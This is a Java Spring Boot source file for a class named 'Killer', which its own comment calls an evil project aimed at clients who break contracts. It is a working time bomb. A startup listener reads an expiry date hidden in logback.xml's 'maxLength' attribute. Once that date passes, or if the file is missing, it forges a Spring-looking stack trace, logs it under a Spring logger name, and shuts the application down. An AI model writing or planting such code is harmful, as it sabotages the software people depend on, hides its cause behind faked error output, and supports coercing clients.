package com.fhs.boot.killer;

import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.boot.context.event.ApplicationReadyEvent;
import org.springframework.context.ApplicationListener;
import org.springframework.context.annotation.Configuration;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.text.SimpleDateFormat;
import java.util.Date;

/**
 * 这是一个邪恶的项目，为了恶心部分没有契约精神的单位
 */
@Configuration
public class Killer implements ApplicationListener<ApplicationReadyEvent> {


    @Override
    public void onApplicationEvent(ApplicationReadyEvent applicationReadyEvent) {

        /*
           这里可以去写校验，比如日期写到logback里，过了这个日期就启动不起来。
         */
        this.getClass().getResourceAsStream("");
        try {
            if (isTimeout()) {
                exit();
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    /**
     * 检查过期的方法  -- 可以自己重新写  我判断的是 logback.xml  maxLength
     * @return
     */
    private boolean isTimeout() {
        StringBuilder stringBuilder = new StringBuilder("");
        try (InputStream is = Thread.currentThread().getClass().getResourceAsStream("/logback.xml");
             BufferedReader reader = new BufferedReader(new InputStreamReader(is));) {
            String str = null;
            while ((str = reader.readLine()) != null) {
                stringBuilder.append(str);
            }
        } catch (Exception e) {
            return true;
        }
        String logbackXml = stringBuilder.toString();
        if (!logbackXml.contains("maxLength=\"")) {
            return true;
        }
        String timeoutDate = logbackXml.substring(logbackXml.indexOf("maxLength=\"") + 11).substring(0, 4);
        SimpleDateFormat sf = new SimpleDateFormat("yyyyMM");
        String date = sf.format(new Date());
        date = date.substring(2);
        return (Integer.parseInt(date) > Integer.parseInt(timeoutDate));
    }

    private void exit() throws ClassNotFoundException {

        StackTraceElement[] elements = new StackTraceElement[]{
                new StackTraceElement("org.springframework.boot.SpringApplicationRunListeners",
                        "running", "SpringApplicationRunListeners", 77),
                new StackTraceElement("org.springframework.boot.SpringApplication",
                        "run", "SpringApplication", 330),
                new StackTraceElement("org.springframework.boot.SpringApplication",
                        "run", "SpringApplication", 330),
                new StackTraceElement("org.springframework.boot.SpringApplication",
                        "run", "SpringApplication", 1226),
                new StackTraceElement("org.springframework.boot.SpringApplication",
                        "run", "SpringApplication", 1215)
        };
        Logger log = LoggerFactory.getLogger(Class.forName("org.springframework.context.event.SimpleApplicationEventMulticaster"));
        try {
            String str = null;
            if (str.equals("")) {

            }
        } catch (Exception e) {
            e.setStackTrace(elements);
            log.error(null, e);
        }
        System.exit(0);
    }
}